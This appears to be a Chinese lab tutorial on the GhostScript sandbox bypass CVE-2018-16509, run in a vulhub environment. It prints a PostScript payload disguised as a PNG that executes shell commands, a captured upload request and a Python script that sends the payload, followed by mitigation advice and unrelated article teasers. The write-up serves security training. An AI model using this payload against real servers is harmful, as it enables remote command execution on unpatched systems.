Python 渗透测试:GhostScript 沙箱绕过.(CVE-2018-16509)

什么是 GhostScript 沙箱绕过

GhostScript 沙箱是一种安全机制,用于在受控环境中运行 GhostScript 解释器,以防止恶意代码的执行。GhostScript 是一个广泛使用的 PDF 和 PostScript 解释器,通常用于在服务器上处理和渲染这些文件格式。Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等。


目录:

什么是 GhostScript 沙箱绕过​​​​​​​

Python 编写渗透测试基础:

GhostScript 沙箱通常包括以下特性:

靶场的开启:

(1)靶场的搭建:

(2)查看目录:

(3)启用 vulhub 漏洞:

(4)进行浏览:主机的 8080 端口.

GhostScript 沙箱绕过:

(1)漏洞的利用方法(命名为poc.png文件):

运行的结果:

(2)上传一个文件时,进行抓包 对数据包分析:

(3)编写代码执行:

防范 GhostScript 沙箱绕过的主要措施包括:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.

(2)编写难度是根据协议和探针利用复现复杂程度决定的.

例如:
    mysql类型的漏洞复现漏洞 
    大部分都是在mysql里面进行python写这个漏洞利用 
    是不是也要用到mysql的库来进行连接 后续操作 复现一致

GhostScript 沙箱通常包括以下特性:

(1)文件系统访问控制:限制 GhostScript 只能访问指定的目录,防止访问敏感文件。

(2)网络访问控制:GhostScript 的网络访问能力,防止它连接到恶意服务器。

(3)进程控制:GhostScript 创建新进程的能力,防止它执行任意命令。

(4)资源限制:限制 GhostScript 使用 CPU、内存等系统资源的上限,防止资源耗尽。

靶场的开启:

(1)靶场的搭建:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(2)查看目录:

(1)cd vulhub
 
(2)ls


(3)启用 vulhub 漏洞:

(1)cd ghostscript                       // 切换到对应的漏洞目录.
 
(2)cd CVE-2018-16509               // 切换到对应的漏洞版本.

(3)docker-compose build           // 建立容器

(4)docker-compose up -d           // 启用漏洞环境.

(5)docker ps                      // 查看环境运行状态


(4)进行浏览:主机的 8080 端口.


GhostScript 沙箱绕过:

(1)漏洞的利用方法(命名为poc.png文件):

构成这个数据包,里面的代码创建一个新的文件 /tmp/success
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

 

运行的结果:


(2)上传一个文件时,进行抓包 对数据包分析:

POST / HTTP/1.1
Host: 172.16.10.19:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.10.19:8080/
Cookie: csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------23194234122378
Content-Length: 410

-----------------------------23194234122378
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------23194234122378--


(3)编写代码执行:

import requests             # 导入模块

url='http://172.16.10.19:8080/'

# 定义一个变量来装数据包中头部.
head={      
    'User-Agent':'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://172.16.10.19:8080/',
    'Cookie': 'csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr',
    'Connection': 'close',
    'Content-Type': 'multipart/form-data; boundary=---------------------------72831945316609',
    'Content-Length': '410',
}

# 定义一个变量来装数据包中内容
data="""-----------------------------72831945316609
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops


-----------------------------72831945316609--"""

r=requests.post(url,data=data,headers=head).text
# 上传的链接 + 上传的内容 + 数据包的头部
# .text 属性用于获取响应的文本内容,然后赋值r
print(r)
# 打印 


防范 GhostScript 沙箱绕过的主要措施包括:

(1)持续更新和修复 GhostScript:

    及时修复 GhostScript 中发现的安全漏洞,降低被利用的风险。
    使用最新版本的 GhostScript,其中包含了更多的安全防护措施。

(2)加强沙箱配置:

    仔细配置沙箱的各项限制,确保其能够有效阻挡各种攻击手段。
    定期审核和调整沙箱配置,以应对新出现的绕过技术。

(3)监控和检测异常行为:

    监控 GhostScript 在沙箱中的行为,及时发现可疑活动。
    建立异常行为检测机制,如异常资源消耗、非法文件访问等。

(4)多层防御:

    不仅依赖 GhostScript 沙箱,还应该结合其他安全措施,如Web应用防火墙、入侵检测系统等。
    形成深度防御体系,提高整体安全性。

(5)安全审计和渗透测试:

    定期对 GhostScript 沙箱进行安全审计,发现并修复存在的漏洞。
    进行渗透测试,模拟攻击者的行为,验证沙箱的防御能力。

(6)安全意识培训:

    提高运维人员对 GhostScript 安全性的认知,培养他们的安全意识。
    让运维人员掌握沙箱配置、监控和事件响应的相关知识。

   

    

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/635567.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[Algorithm][动态规划][路径问题][不同路径][不同路径Ⅱ][珠宝的最高价值]详细讲解

目录 1.不同路径1.题目链接2.算法原理详解3.代码实现 2.不同路径 II1.题目链接2.算法原理详解3.代码实现 3.珠宝的最高价值1.题目链接2.算法原理详解3.代码实现 1.不同路径 1.题目链接 不同路径 2.算法原理详解 思路: 确定状态表示 -> dp[i][j]的含义 走到dp[…

docker和containerd的区别

docker和containerd的区别 1、容器运行时 1.1 容器运行时概念 容器运行时(Container Runtime)是一种负责在操作系统层面创建和管理容器的软件工具或组件。它是容器化技术的核心组件之一,用于在容器内部运行应用程序,并提供隔离…

pdf加水印怎么加?3种添加水印方法分享

pdf加水印怎么加?PDF加水印不仅是为了保护文档内容,确保信息的安全性和完整性,更是一种有效的版权保护措施。通过添加水印,您可以在文档中嵌入公司名称、日期、编号等信息,以明确文档的归属权和使用限制。此外&#xf…

Anti Desgin Vue 实现 表格可编辑、新增、删除功能

1、效果图 新增&#xff1a; 删除&#xff1a; 修改&#xff1a; 代码&#xff1a; <template><div><button click"add">添加</button><span style"margin-left: 8px"><template v-if"hasSelected">{…

浏览器的下载行为基本原理

浏览器解析 在使用浏览器访问某些资源时&#xff0c;有些资源是直接下载有些资源是直接打开。例如前端的html&#xff0c;xml&#xff0c;css&#xff0c;图片等资源都是直接打开&#xff0c;而txt&#xff0c;excel等文件是直接下载。那么如何控制访问一个资源时是下载文件还…

stm32学习-光敏传感器控制蜂鸣器

接线 GPIO配置 初始化GPIO 1.使用RCC开启GPIO时钟 void RCC_APB2PeriphClockCmd(uint32_t RCC_APB2Periph, FunctionalState NewState); 作用&#xff1a;外设时钟控制(根据外设连接的总线选择要开启的时钟&#xff09; RCC_AHBPeriph/RCC_APB2Periph/RCC_APB1Periph&#x…

.NET Core Web Api Swagger运行异常

遇到的问题 因为新增了一个控制器方法&#xff0c;从而导致在运行Swagger的时候直接报错&#xff0c;异常如下&#xff1a; SwaggerGeneratorException: Conflicting method/path combination "POST api/UserOperationExample" for actions - WebApi.Controllers.Us…

GMSL图像采集卡,适用于无人车、自动驾驶、自主机器、数据采集等场景,支持定制

基于各种 系列二代 G MS L 图像采集卡&#xff08;以下简称 二代图像采集卡&#xff09;是一款自主研发的一款基于 F P G A 的高速图像产品&#xff0c;二代图像采集卡相比一代卡&#xff0c;由于采用PCIe G en 3 技术&#xff0c;速度和带宽都相应的有了成 倍的提高。该图像…

开源与闭源AI模型的对决:数据隐私、商业应用与社区参与

引言 在人工智能&#xff08;AI&#xff09;领域&#xff0c;模型的发展路径主要分为“开源”和“闭源”两条。这两种模型在数据隐私保护、商业应用以及社区参与与合作方面各有优劣&#xff0c;是创业公司、技术巨头和开发者们必须仔细权衡的重要选择。那么&#xff0c;面对这些…

【经验技巧】谷歌高级搜索语法

谷歌高级搜索语法是一些特殊的搜索指令&#xff0c;可以在谷歌搜索框中使用以帮助您更准确地找到您需要的信息。以下是一些常用的谷歌高级搜索语法&#xff1a; 搜索特定词组&#xff1a;用引号将词组括起来&#xff0c;例如&#xff1a;“人工智能” 排除特定词语&#xff1a…

前端 基础 综合案例 二 注册页面( 简单版)A

案例示例 &#xff1a; 案例 分析 &#xff1a; 我们将 上示网页&#xff0c;拆成两个部分进行分析&#xff1a; 很显然&#xff0c;网页 第一行&#xff0c;是标题&#xff08;青春不常在&#xff0c;抓紧谈恋爱&#xff09;&#xff0c; 我们就用 h4 去完成&#xff1b…

若依nodejs版本过高问题解决方案

由于nodejs版本过高,可能会导致vue-cli项目运行报错。 目录 方法1:每次启动项目前,输入配置命令 方法2:修改package.js

Study--Oracle-03-Oracle19C--RAC集群部署

一、硬件信息及配套软件 1、硬件设置 RAC集群虚拟机&#xff1a;CPU:2C、内存&#xff1a;9G、操作系统&#xff1a;30G、数据库安装目录&#xff1a;100G 数据存储&#xff1a;50G &#xff08;10G*5&#xff09; 共享存储&#xff1a;2G &#xff08;1G*2&#xff09; 2…

基于深度学习PET/CT放射学的预后价值:未来在晚期鼻咽癌个体化诱导化疗中的潜在作用 | 文献速递-深度学习结合影像组学

Title 题目 Prognostic Value of Deep Learning PET/CT-BasedRadiomics: Potential Role for Future IndividualInduction Chemotherapy in AdvancedNasopharyngeal Carcinoma 基于深度学习PET/CT放射学的预后价值&#xff1a;未来在晚期鼻咽癌个体化诱导化疗中的潜在作用 0…

HCIP-Datacom-ARST自选题库__MPLS简答【4道题】

1.如图所示&#xff0c;R1、R2、R3、R4处于同一个MPLS域&#xff0c;且设备之间采用LDP分配MPLS标签&#xff0c;R4为4.4.4.0/24这条FEC的EgressLSR。若想实现R1访问4.4.4.0/24时&#xff0c;R4不需要查询标签表但能够了解该数据的转发优先级&#xff0c;则R3对于该FEC的出标签…

新媒体时代,LCD电子价签赋予零售场景新活力

近年来&#xff0c;全球企业迅速掀起了数字化转型的浪潮&#xff0c;加速了新零售科技的发展与应用。在实体零售门店中&#xff0c;商品货架显示逐渐趋向智能化和多样化。然而&#xff0c;在信息传播日益碎片化和视频化的时代&#xff0c;零售门店如何更有效地吸引消费者的注意…

苹果CMS:采集参数设置

我们安装苹果CMS参考苹果cms&#xff1a;介绍及安装&#xff0c;安装好设置采集器苹果CMS&#xff1a;怎么采集&#xff0c;配置采集深度&#xff08;即爬取链接的层次&#xff09;&#xff0c;以及是否遵循robots.txt协议。采集插件通常需要用户自定义匹配规则来解析目标网页内…

如何轻松访问 Android 手机和平板电脑上的内部存储

概括 在数字设备领域&#xff0c;我们的智能手机充当虚拟金库&#xff0c;在其范围内存储个人数据、珍贵记忆和重要信息的宝库。因此&#xff0c;我们将指导您如何访问 Android 上的内部存储&#xff0c;确保您可以安全、轻松地检查内部文件系统并管理文件。同时&#xff0c;您…

深入解读HTTP状态码:分类、含义、应用场景与故障排查指南

HTTP状态码作为超文本传输协议(HTTP)响应的重要组成部分,为客户端与服务器之间的交互提供了清晰的状态反馈。本文将全面展开对HTTP状态码的深入解读,涵盖其分类、具体含义、典型应用场景以及在故障排查中的实用价值,旨在帮助开发者与运维人员更好地理解和应对各类HTTP响应…